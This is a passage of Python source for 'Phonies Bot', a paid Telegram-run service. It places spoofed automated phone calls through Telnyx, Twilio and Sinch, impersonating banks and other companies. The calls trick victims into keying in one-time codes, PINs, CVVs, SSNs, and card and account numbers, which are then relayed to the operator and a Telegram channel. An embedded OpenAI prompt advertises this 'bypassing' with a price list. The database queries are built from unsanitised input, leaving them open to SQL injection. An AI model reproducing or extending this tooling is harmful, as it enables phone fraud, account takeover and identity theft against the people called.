            sender,
            "✅ *SUCCESSFULLY*: Referral code has been created\n\n*Code*: {}\nReferral: {}({})\nMargin: {}%".format(code, user_id, get_name(user_id), margin)
        )

        return

    if "/delete_ref" in message_text:
        if not check_admin():
            send_message(
                sender,
                "*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/delete_ref <user_id>'"
            )
            return

        user_id = message_text.split(" ")[1]

        if (not user_id):
            send_message(
                sender,
                "Please check your command"
            )
            return

        execute_statement(PHONY_DB, "DELETE FROM referral WHERE user_id = '{}'".format(user_id))
        send_message(
            sender,
            "✅ *SUCCESSFULLY*: Referral code has been deleted\n\nReferral: {}({})".format(user_id, get_name(user_id))
        )

        return

    if "/create_voucher" in message_text:
        if check_admin():
            if (" " not in message_text):
                send_message(
                    sender,
                    "Please type 'create_voucher <days>'"
                )
                return

            duration = message_text.split(" ")[1]
            code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper()
            code = four_format(code)
            tipe = "admin" if len(message_text.split(" ")) >= 3 else "user"
            if (not code or not duration):
                send_message(
                    sender,
                    "Please check your command"
                )
                return

            execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration))
            send_message(
                sender,
                """*Phonies* _Voucher_ 🇺🇸

*CODE*: {}

_The voucher is for account with {} type, and have duration for {} days_
                    """.format(code, tipe, duration)
            )
            return

    if ("/users" in message_text):
        if not check_admin():
            return

        users = query_many(PHONY_DB, "SELECT * FROM users")
        if (not users):
            send_message(
                sender,
                "There is no user registered."
            )
            return
        
        text = "List of registred user:\n"
        for user in users:
            exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f")
            difr = exp - datetime.now()

            text += f"▫️ {get_name(user[0])} ({user[0]}) | {user[1].upper()} | {difr.days} days | {'Enable' if user[3] == '1' else 'Disable'} | {'expired' if exp < datetime.now() else 'active'}\n"

        for texted in split_message(text):
            send_message(
                sender,
                texted
            )
        return
        

    if ("/disable_user" in message_text):
        if not check_admin():
            return

        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/disable_user <user id>' to disable a user."
            )
            return

        user_id = message_text.split(" ")[1]
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id))
        if (not user):
            send_message(
                sender,
                "User not found."
            )
            return
        user = user[0]

        execute_statement(PHONY_DB, f"UPDATE users SET is_active = '0' WHERE user_id = '{user_id}'")
        send_message(
            sender,
            f"'{get_name(user_id)}' ({user_id}) is now inactive."
        )
        return

    if ("/enable_user" in message_text):
        if not check_admin():
            return

        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/enable_user <user id>' to enable a user."
            )
            return

        user_id = message_text.split(" ")[1]
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id))
        if (not user):
            send_message(
                sender,
                "User not found."
            )
            return
        user = user[0]

        execute_statement(PHONY_DB, f"UPDATE users SET is_active = '1' WHERE user_id = '{user_id}'")
        send_message(
            sender,
            f"'{get_name(user_id)}' ({user_id}) is now active."
        )
        return

    if ("/delete_user" in message_text):
        if not check_admin():
            return

        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/delete_user <user_id>' to delete a user."
            )
            return

        user_id = message_text.split(" ")[1]
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id))
        if (not user):
            send_message(
                sender,
                "User not found."
            )
            return
        user = user[0]

        execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(user_id))
        send_message(
            sender,
            f"User '{get_name(user[0])}' ({(user[0])}) has been deleted."
        )
        return

    response = openai.Completion.create(
        model="text-davinci-003",
        prompt=f"Information:\n\nPhonies Bot is tools for bypassing any information like One Time Code, PIN, CVV, CARD Number, Expiry Date, SSN, 2FA Authenticator, even Account number\n\nPhonies Basic Command:\n'help' - view all commands\n'redeem' - apply license key\n'renew' - renew your account\n'start' - view subscription info\n'purchase' - purchase voucher\n'staff' - view all staff\n'modules' - view all available modules\n'status' - view bot active status\n'countries' - view available call country\n\nPhonies Modules Command:\n'company' - show company feature\n 'call' - show call feature\n\nPhonies Company Command:\n'companies' - show company list\n'company create' - create company\n'company <company name>' - show company detail\n\nCall feature details:\nCall Format\n    Normal Format: \"call <type> <phone number> <target name> <company> <code length> <last 4 digits : optional> <record : optional> <voice : optional>\"\n    Spoofer Format: \"call <type> <phone number> <target name> <company> <code length> <last 4 digits : optional> <record : optional> <voice : optional> ? <spoofed number>\"\n\nNote: \n    OPTIONAL: You can leave it blank if you don't want to use it.\n    LAST 4 DIGITS: You can only use <last 4 digit> for type CVV, CSC, EXP, CARD.\n    TARGET NAME: Change space between name word with \"-\" if the name is more than one word\n\tCOMPANY: Change space between name word with \"-\" if the name is more than one word\n\tVOICE: To using voice, please specify with the voice option, Example: voice=en-US-JennyNeural\n\t\n\nCall Type\n    CUSTOM - Using your own Company script\n    OTP - One Time Code\n    PIN - Personal Identification Number\n    CVV - Card Verification Value\n    CSC - Card Security Code\n    EXP - Expiry Date\n    AUTH - Google Authenticator\n    SSN - Social Security Number\n    CARD - Card Number\n    ACC - Account Number\n\t\nCall Example\n    Victim Name: John Doe\n\tType: CVV\n\tCompany Name: Bank of America\n\tPhone Number: +1 123 456 7890\n\tCode Length: 3\n\tLast 4 Digits: 1234 (OPTIONAL)\n\tRecord: USE (OPTIONAL)\n\tVoice: en-US-JennyNeural (OPTIONAL)\n\tSpoofed Number: +1 987 654 3210\n\n\tThen, the command is: \"call otp +11234567890 John Doe Company 6 1234 record voice=en-US-JennyNeural ? +19876543210\"\n\n\nCountry support to make call:\n🇺🇸 United States (+1)\n🇨🇦 Canada (+1)\n\n🇦🇹 Austria (+43)\n🇧🇪 Belgium (+32)\n🇩🇰 Denmark (+45)\n🇫🇮 Finland (+358)\n🇫🇷 France (+33)\n🇩🇪 Germany (+49)\n🇬🇷 Greece (+30)\n🇮🇪 Ireland (+353)\n🇮🇹 Italy (+39)\n🇳🇱 Netherland (+31)\n🇳🇴 Norway (+47)\n🇵🇱 Poland (+48)\n🇵🇹 Portugal (+351)\n🇪🇸 Spain (+34)\n🇸🇪 Sweden (+46)\n🇽🇰 Kosovo (+383)\n\n🇦🇺 Australia (+61)\n🇳🇿 New Zealand (+64)\n\n🇭🇰 Hong Kong (+852)\n🇲🇴 Macao (+853)\n🇰🇷 South Korea (+82)\n🇯🇵 Japan (+81)\n\n🇸🇬 Singapore (+65)\n🇹🇱 Timor Leste (+670)\n\n🇮🇱 Israel (+972)\n🇰🇿 Kazakhstan (+7)\n\nPricing:\n1-2 Day: IDR 200.000 or USD 15 / Day\n3-6 Day: IDR 170.000 or USD 11 / Day\n7-13 Day: IDR 110.000 or USD 7.5 / Day\n14-30 Day: IDR 90.000 or USD 6 / Day\n31 day more: IDR 80.000 or USD 5.2 / Day\n\nPlease reply \"{message_text}\" Based on information above\nReply: \n",
        temperature=0.9,
        max_tokens=256,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0
    )

    send_message(
        sender,
        response["choices"][0]["text"]
    )
    return

@app.route("/voice", methods=['GET'])
def voice():
    name = request.args.get('name')
    # check if there is a file with the same name
    if os.path.isfile(f"audio/{name}"):
        # if there is, return the file
        return send_file(f"audio/{name}")
    return "File not found", 404

@bot.callback_query_handler(func=lambda call: True)
def callback_query(call):
    print("calling postback query", file=sys.stderr)
    return postback(str(call.message.chat.id), call.data)
    

@bot.message_handler(func=lambda m: True)
def callback_handler(message):
    sender = str(message.chat.id)
    message = message.text

    session = json.load(open("session.json"))
    session[sender] = str(get_name(sender))

    if (str(session[sender]) == "@None"):
        send_message(
            sender,
            "Please set up your Telegram username before using Phony Bot."
        )
        return

    with open("session.json", 'w') as outfile:
        json.dump(session, outfile)
    
    print(f"There a message from {session[sender]} with ID: {sender}", file=sys.stderr)

    messaging(sender, message)


current_detect = {}
current_record = {}

@app.route("/telnyx/outgoing", methods=["GET", "POST"])  
def telnyx_outgoing():
    provider = json.load(open("provider.json"))
    configuration = json.load(open("phony.json"))
    content = request.get_json(force=True)["data"]

    call_sess = content['payload']['call_session_id']
    call_control = content['payload']['call_control_id']
    call_connection = content['payload']['connection_id']

    data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_sess}'")

    data_stored = {
        "call_id": data[15],
        "call_control_id": data[0],
        "ke": data[1],
        "to": data[2],
        "name": data[3],
        "isBot": data[4],
        "gatherType": data[5],
        "status": data[6],
        "current_data_storedate": data[7],
        "otp": {
            "server": data[8],
            "digits": data[9],
            "provider": data[10],
            "result": data[11],
            "receive": data[12]
        },
        "auth": {
            "key_api": data[13],
            "auth_token": data[14]
        },
        "phone_number": data[16],
        "chat_id": data[17],
        "message_id": data[18]
    }

    call_id = data_stored["call_id"]

    headers = {
        "Accept": "application/json",
        "Authorization": f"Bearer {data_stored['auth']['key_api']}"
    }

    # on_call = telnyx.Call.create()
    # on_user_id = call_control
    # on_call.connection_id = call_connection
    # on_call.call_session_id = call_sess
    # on_call.call_control_id = call_control

    on_call = ongoing_call[call_sess]

    # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 
    # 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')

    o_prov = provider[data_stored['otp']['provider']]

    data_stored["status"] = content["event_type"]
    data_stored["current_data_storedate"] = content["occurred_at"]

    print("\nStatus: " + content["event_type"], file=sys.stderr)

    if (content["event_type"] in detection_list):
        data_stored["isBot"] = content["payload"]["result"]

    if (content["event_type"] == "call.hangup"):
        data_stored["isBot"] = content["payload"]["hangup_cause"]

    if (content["event_type"] in gather_list):
        data_stored["otp"]["result"] = content["payload"]["digits"]
        data_stored["gatherType"] = base64.b64decode(content["payload"]["client_state"].encode("ascii")).decode("ascii")

    if (content["event_type"] == "call.dtmf.received"):
        data_stored["otp"]["receive"] += content["payload"]["digit"]

    def up_data(key, value):
        execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}'  WHERE call_id = '{call_sess}'")

    up_data("call_control_id", data_stored['call_control_id'])
    up_data("name", data_stored['name'])
    up_data("isBot", data_stored['isBot'])
    up_data("gatherType", data_stored['gatherType'])
    up_data("status", data_stored['status'])
    up_data("current_data_storedate", data_stored['current_data_storedate'])
    up_data("server", data_stored['otp']['server'])
    up_data("digits", data_stored['otp']['digits'])
    up_data("provider", data_stored['otp']['provider'])
    up_data("result", data_stored['otp']['result'])
    up_data("receive", data_stored['otp']['receive'])
    up_data("key_api", data_stored['auth']['key_api'])
    up_data("auth_token", data_stored['auth']['auth_token'])

    if (content['event_type'] in ongoing_list):
        if (content['event_type'] == "call.initiated"):
            # send message status_dict event type with button to hangup the call
            btnnya = [
                    button("📞 Hangup", f"hangup")
            ]
            if "retry" in ongoing_call_command.get(call_sess, ""):
                btnnya.append(button("❌ STOP Retry", f"stop_retry"))
            

            send_message(
                data_stored['chat_id'],
                f"{status_dict[content['event_type']]}",
                buttons(btnnya)
            )
        else:
            send_message(data_stored["chat_id"], f"{status_dict[content['event_type']]}")
            if (content['event_type'] == "call.answered"):
                answered_call[call_id] = True
                if ("record" in ongoing_call_command[call_sess]):
                    on_call.record_start(format="mp3", channels="single")
    
    if (content['event_type'] == "call.recording.saved"):
        if not current_record.get(call_sess, ""):
            current_record[call_sess] = 1
            send_voice(data_stored["chat_id"], content['payload']['recording_urls']['mp3'])
            del ongoing_call[call_sess]
            # del btn_step[data_stored["chat_id"]]
            del ongoing_call_command[call_sess]

            for jo in delete_list_call[call_id]:
                os.remove(jo)

            del delete_list_call[call_id]
            
            execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")

    if (data_stored["status"] in gather_list):
        if (not data_stored["otp"]["result"]):
            return
        if (data_stored["gatherType"] == "option"):
            result_dict = {
                "1": o_prov['approve'],
                "2": o_prov['decline']
            }

            ket_appr = {
                "1": "First",
                "2": "Second"
            }

            optRes = data_stored["otp"]["result"]
            cur_gather = data_stored["gatherType"]

            if (not data_stored["otp"]["result"]):
                json_data = {
                    'call_control_id': data_stored['call_control_id'],
                    'client_state': base64.b64encode("option".encode("ascii")),
                    'command_id': str(uuid.uuid1()),
                    'initial_timeout_millis': 120000,
                    'inter_digit_timeout_millis': 120000,
                    'timeout_millis': 120000,
                    'maximum_digits': 1
                }

                response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data)
            else:
                prov = data_stored['otp']['provider'].lower()
                custom_req = prov.split("_")
                registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
                custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp"
                
                selected[call_id] = optRes
                uy = status_dict['send.otp']
                uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.')
                send_message(data_stored["chat_id"], f"Person select the *{ket_appr[optRes]}* option")
                send_message(data_stored["chat_id"], uy)

                vnc = get_voice_name(data_stored["call_id"])
                if vnc:
                    voiceName = text_to_urlvoice(result_dict[optRes], vnc)
                    on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                    delete_list_call[call_id].append(f"audio/{voiceName}")
                else:
                    on_call.speak(
                        payload = result_dict[optRes],
                        language=o_prov['lang'],
                        voice="female"
                    )
                
                json_data = {
                    'call_control_id': data_stored['call_control_id'],
                    'client_state': base64.b64encode("otp".encode("ascii")),
                    'command_id': str(uuid.uuid1()),
                    'initial_timeout_millis': 120000,
                    'inter_digit_timeout_millis': 120000,
                    'timeout_millis': 120000,
                    'maximum_digits': int(data_stored["otp"]["digits"])
                }

                response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data)

        elif (data_stored["gatherType"] == "otp"):
            cur_gather = data_stored["gatherType"]
            
            json_data = {
                'call_control_id': data_stored['call_control_id'],
                'client_state': base64.b64encode("otp2".encode("ascii")),
                'command_id': str(uuid.uuid1()),
                'initial_timeout_millis': 120000,
                'inter_digit_timeout_millis': 120000,
                'timeout_millis': 120000,
                'maximum_digits': int(data_stored["otp"]["digits"])
            }
            
            prov = data_stored['otp']['provider'].lower()

            custom_req = prov.split("_")
            registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
            custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp"

            uy = status_dict['your.otp']
            uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')

            def formats_date(value):
                return datetime.strptime(value, '%m%y').strftime('%Y, %B')

            resuult = data_stored['otp']['result'] if not custom_req == "exp" else formats_date(data_stored['otp']['result'])
            ny = status_dict['channel.notify']
            ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')
            
            uname = get_name(data_stored['chat_id'])
            uname = uname[:4] + "x" * (len(uname) - 4)

            ny = ny.replace("XUSERNAMEX", uname) \
                .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \
                .replace("XCODEX", resuult) \
                .replace("XGATEX", "Gate 1 (Telnyx)")

            send_message(TELE_CHANNEL, ny)
            # send message uy and data_stored otp result with button to accept or reject the code
            send_message(
                data_stored['chat_id'],
                f"{uy} {resuult}",
                buttons([
                    button("✅ Finish", f"finish"),
                    button("🔢 Ask Again", f"again")
                ])
            )

            voiceText = f"Please wait while our system check your {custom_req.upper()} number"

            vnc = get_voice_name(data_stored["call_id"])
            if vnc:
                voiceName = text_to_urlvoice(voiceText, vnc)
                on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                delete_list_call[call_id].append(f"audio/{voiceName}")
            else:
                on_call.speak(
                    payload = voiceText,
                    language=o_prov['lang'],
                    voice="female"
                )   

            on_call.playback_start(audio_url="https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3")       

    if (data_stored["status"] in detection_list):
        if (not current_detect.get(data_stored["call_id"], "") or current_detect.get(data_stored["call_id"], "") != data_stored["status"]):
            current_detect[data_stored["call_id"]] = data_stored["status"]
            def who_pickup(val):
                who = {
                    "silence": "Person doesnt speak anything 😶",
                    "human": "It's human who pick up the call 😄",
                    "machine": "It's machine who pick up the call 🦾"
                }

                for whos in who:
                    if whos in val:
                        return who[whos]

                return "We cant detect who pick up the call"
                
            send_message(data_stored["chat_id"], who_pickup(data_stored['isBot']))
            if ("machine" not in data_stored["isBot"]):
                voiceText = f"Hello {data_stored['name']}, "
                vnc = get_voice_name(data_stored["call_id"])
                if vnc:
                    voiceName = text_to_urlvoice(voiceText, vnc)
                    on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                    delete_list_call[call_id].append(f"audio/{voiceName}")
                else:
                    on_call.speak(
                        payload = voiceText,
                        language=o_prov['lang'],
                        voice="female"
                    )
                    
                time.sleep(1)
                
                tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else ""
                voiceText = o_prov["msg1"] + tambahan
                vnc = get_voice_name(data_stored["call_id"])
                if vnc:
                    voiceName = text_to_urlvoice(voiceText, vnc)
                    on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                    delete_list_call[call_id].append(f"audio/{voiceName}")
                else:
                    on_call.speak(
                        payload = voiceText,
                        language=o_prov['lang'],
                        voice="female"
                    )

                time.sleep(1)

                voiceText = o_prov["msg2"]
                vnc = get_voice_name(data_stored["call_id"])
                if vnc:
                    voiceName = text_to_urlvoice(voiceText, vnc)
                    on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                    delete_list_call[call_id].append(f"audio/{voiceName}")
                else:
                    on_call.speak(
                        payload = voiceText,
                        language=o_prov['lang'],
                        voice="female"
                    )

                json_data = {
                    'call_control_id': data_stored['call_control_id'],
                    'client_state': base64.b64encode("option".encode("ascii")),
                    'command_id': str(uuid.uuid1()),
                    'initial_timeout_millis': 120000,
                    'timeout_millis': 120000,
                    'maximum_digits': 1
                }

                response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data)
            else:
                on_call.hangup()

    if (data_stored["status"] in machine_list):
        if (data_stored["status"] != "call.hangup"):
            on_call.hangup()

        if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call):
            if "retry" in ongoing_call_command.get(call_sess, ""):
                if not selected.get(call_id, ""):
                    messaging(data_stored["chat_id"], ongoing_call_command[call_sess])

            del ongoing_call[call_sess]
            # del btn_step[data_stored["chat_id"]]
            del ongoing_call_command[call_sess]

            for jo in delete_list_call[call_id]:
                os.remove(jo)

            del delete_list_call[call_id]
            execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")
        
    return content

@app.route("/twilio/outgoing_status", methods=["GET", "POST"])
def twilio_status():
    provider = json.load(open("provider.json"))
    configuration = json.load(open("phony.json"))

    content = request.values
    print("\n\nTwilio Callback Status", file=sys.stderr)
    print(content, file=sys.stderr)

    call_id = content["CallSid"]
    call_sess = call_id

    response = VoiceResponse()

    data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'")

    data_stored = {
        "call_id": data[15],
        "call_control_id": data[0],
        "ke": data[1],
        "to": data[2],
        "name": data[3],
        "isBot": data[4],
        "gatherType": data[5],
        "status": data[6],
        "current_data_storedate": data[7],
        "otp": {
            "server": data[8],
            "digits": data[9],
            "provider": data[10],
            "result": data[11],
            "receive": data[12]
        },
        "auth": {
            "key_api": data[13],
            "auth_token": data[14]
        },
        "phone_number": data[16],
        "chat_id": data[17],
        "message_id": data[18]
    }

    # try:
        
    # except Exception as e:
    #     err = repr(e)

    #     if "ApiTelegramException" in err:
    #         return str(response)

    #     send_message(
    #         data_stored["chat_id"],
    #         f"*Error Status: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*",
    #     )
    #     return str(response)

    complete = ["completed", "no-answer"]
    for completes in complete:
        if completes in content["CallStatus"]:
            if content["CallStatus"] == "no-answer":
                send_message(data_stored["chat_id"], status_dict["call.noanswer"])
            if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call):
                try:
                    send_message(data_stored["chat_id"], status_dict["call.hangup"])

                    if "retry" in ongoing_call_command.get(call_sess, ""):
                        if not selected.get(call_id, ""):
                            messaging(data_stored["chat_id"], ongoing_call_command[call_sess])

                    del ongoing_call[call_sess]
                    del ongoing_call_command[call_sess]
                    for jo in delete_list_call[call_id]:
                        os.remove(jo)

                    del delete_list_call[call_id]
                    # # del btn_step[data_stored["chat_id"]]
                            
                except Exception as e:
                    print("err finish: " + repr(e), file=sys.stderr)
                
                execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")

    if "RecordingUrl" in content:
        if not current_record.get(call_sess, ""):
            send_message(data_stored["chat_id"], status_dict["call.hangup"])
            print("\n\nTwilio Callback Recording\n" + content['RecordingUrl'], file=sys.stderr)
            current_record[call_sess] = 1
            send_voice(data_stored["chat_id"], content['RecordingUrl'])
            try:
                if "retry" in ongoing_call_command.get(call_sess, ""):
                    if not selected.get(call_id, ""):
                        messaging(data_stored["chat_id"], ongoing_call_command[call_sess])
                
                del ongoing_call[call_sess]
                del ongoing_call_command[call_sess]
                for jo in delete_list_call[call_id]:
                    os.remove(jo)

                del delete_list_call[call_id]
                # del btn_step[data_stored["chat_id"]]
            except Exception as e:
                print("err finish: " + repr(e), file=sys.stderr)
            execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")
    return str(response)

@app.route("/twilio/outgoing", methods=["GET", "POST"])
def twilio_res():
    provider = json.load(open("provider.json"))
    configuration = json.load(open("phony.json"))

    content = request.values
    call_id = content["CallSid"]
    call_sess = call_id

    print("\n\nTwilio Callback", file=sys.stderr)
    print(content, file=sys.stderr)

    response = VoiceResponse()

    data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'")

    data_stored = {
        "call_id": data[15],
        "call_control_id": data[0],
        "ke": data[1],
        "to": data[2],
        "name": data[3],
        "isBot": data[4],
        "gatherType": data[5],
        "status": data[6],
        "current_data_storedate": data[7],
        "otp": {
            "server": data[8],
            "digits": data[9],
            "provider": data[10],
            "result": data[11],
            "receive": data[12]
        },
        "auth": {
            "key_api": data[13],
            "auth_token": data[14]
        },
        "phone_number": data[16],
        "chat_id": data[17],
        "message_id": data[18]
    }

    print(data_stored, file=sys.stderr)
    
    # try:
        
    # except Exception as e:
    #     err = repr(e)

    #     if "ApiTelegramException" in err:
    #         return str(response)

    #     send_message(
    #         data_stored["chat_id"],
    #         f"*Error Callback: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*",
    #     )
    #     return str(response)

    o_prov = provider[data_stored['otp']['provider']]
    result_dict = {
        "1": o_prov['approve'],
        "2": o_prov['decline']
    }

    ket_appr = {
        "1": "First",
        "2": "Second"
    }

    def speaks(voiceText):
        vnc = get_voice_name(data_stored["call_id"])
        vnc = "en-US-JennyNeural" if not vnc else vnc
        voiceName = text_to_urlvoice(voiceText, vnc)
        delete_list_call[call_id].append(f"audio/{voiceName}")

        return f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}"""

    def speak(voiceText):
        if configuration["telegram"]["enableVoice"]:
            url = speaks(voiceText)
            print(url, file=sys.stderr)
            response.play(url)
        else:
            response.say(voiceText, voice = "woman")

    def gather_dtmf(digit):
        webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing"
        response.append(
            Gather(
                input = "dtmf",
                action = webhook_url,
                method = "POST",
                numDigits = int(digit),
                timeout = 300000
            )
        )

    def up_data(key, value):
        execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}'  WHERE call_id = '{call_id}'")

    prov = data_stored['otp']['provider'].lower()
    custom_req = prov.split("_")
    registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
    custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp"

    print("\n" + data_stored["status"] + "\n", file=sys.stderr)
    if ("call" == data_stored["status"]):
        answered_call[call_id] = True
        data_stored["isBot"] = content["AnsweredBy"]
        up_data("isBot", data_stored['isBot'])

        bots = [
            "machine_end_beep", "machine_end_silence", "machine_end_other", "fax"
        ]
        send_message(data_stored["chat_id"], status_dict['call.answered'])
        def who_pickup(val):
            val = val.lower()
            who = {
                "silence": "Person doesnt speak anything 😶",
                "human": "It's human who pick up the call 😄",
                "machine": "It's machine who pick up the call 🦾",
                "unknown": "We cant detect who pick up the call 😕",
            }

            for whos in who:
                if whos in val:
                    return who[whos]

            return "We cant detect who pick up the call"
            
        send_message(data_stored["chat_id"], who_pickup(content["AnsweredBy"]))

        if (content["AnsweredBy"] not in bots):
            welcome = f"Hello {data_stored['name']}, "
            speak(welcome)

            tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else ""
            msg1 = o_prov["msg1"] + tambahan
            speak(msg1)

            speak(o_prov["msg2"])

            gather_dtmf(1)
            data_stored["status"] = "option"
        else:
            response.hangup()

    elif ("option" == data_stored["status"]):
        selected[call_id] = content["Digits"]
        uy = status_dict['send.otp']
        uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.')
        send_message(data_stored["chat_id"], f"""Person select the *{ket_appr[content["Digits"]]}* option""")

        if o_prov[content["Digits"]]:
            speak(result_dict[content["Digits"]])
            gather_dtmf(data_stored['otp']['digits'])
            data_stored["status"] = "ask"
            send_message(data_stored["chat_id"], uy)
        else:
            speak("Thank you for confirming. Good bye!")
            response.hangup()

    elif ("ask" == data_stored["status"]):
        print(content['Digits'] + " aman")
        uy = status_dict['your.otp']
        uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')

        def formats_date(value):
            return datetime.strptime(value, '%m%y').strftime('%B/%Y')

        resuult = content['Digits'] if not custom_req == "exp" else formats_date(content['Digits'])
        speak(f"Please wait while our system check your {custom_req.upper()} number")
        response.play("https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3", loop=0)

        ny = status_dict['channel.notify']
        ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')
        
        uname = get_name(data_stored['chat_id'])
        uname = uname[:4] + "x" * (len(uname) - 4)

        ny = ny.replace("XUSERNAMEX", uname) \
            .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \
            .replace("XCODEX", resuult) \
            .replace("XGATEX", "Gate 3 (Twilio)")

        send_message(TELE_CHANNEL, ny)
        
        send_message(
            data_stored['chat_id'],
            f"{uy} {resuult}",
            buttons([
                button("✅ Finish", f"finish"),
                button("🔢 Ask Again", f"again")
            ])
        )
        
    up_data("status", data_stored['status'])
    print("twilio_outgoing\n\n", file=sys.stderr)
    print(str(response), file=sys.stderr)

    return str(response)

@app.route("/sinch/outgoing", methods=["GET", "POST"])
def sinch():
    provider = json.load(open("provider.json"))
    configuration = json.load(open("phony.json"))
    content = request.get_json(force=True)

    event = content["event"]
    call_id = content["callid"]
    call_sess = call_id

    data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'")

    data_stored = {
        "call_id": data[15],
        "call_control_id": data[0],
        "ke": data[1],
        "to": data[2],
        "name": data[3],
        "isBot": data[4],
        "gatherType": data[5],
        "status": data[6],
        "current_data_storedate": data[7],
        "otp": {
            "server": data[8],
            "digits": data[9],
            "provider": data[10],
            "result": data[11],
            "receive": data[12]
        },
        "auth": {
            "key_api": data[13],
            "auth_token": data[14]
        },
        "phone_number": data[16],
        "chat_id": data[17],
        "message_id": data[18]
    }

    o_prov = provider[data_stored['otp']['provider']]
    result_dict = {
        "1": o_prov['approve'],
        "2": o_prov['decline']
    }

    ket_appr = {
        "1": "First",
        "2": "Second"
    }

    ins = []
    action = {}

    def speaks(url):
        return {
            "name": "playFiles",
            "ids": [
                f"#href[{url}]"
            ]
        }

    def speak(voiceText):
        vnc = get_voice_name(data_stored["call_id"])
        vnc = "en-US-JennyNeural" if not vnc else vnc
        voiceName = text_to_urlvoice(voiceText, vnc)
        delete_list_call[call_id].append(f"audio/{voiceName}")

        return speaks(f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")

    def up_data(key, value):
        execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}'  WHERE call_id = '{call_id}'")

    prov = data_stored['otp']['provider'].lower()
    custom_req = prov.split("_")
    registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
    custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp"

    if "ace" == event:
        send_message(data_stored["chat_id"], status_dict['call.answered'])
        if "amd" in content:
            amd = content["amd"]

            def who_pickup(val):
                val = val.lower()
                who = {
                    "silence": "Person doesnt speak anything 😶",
                    "human": "It's human who pick up the call 😄",
                    "machine": "It's machine who pick up the call 🦾",
                    "notsure": "We cant detect who pick up the call 😕",
                    "hangup": "The call is hangup 😔"
                }

                for whos in who:
                    if whos in val:
                        return who[whos]

                return "We cant detect who pick up the call"
                
            send_message(data_stored["chat_id"], who_pickup(amd["status"]))

            if amd["status"].lower() == "machine":
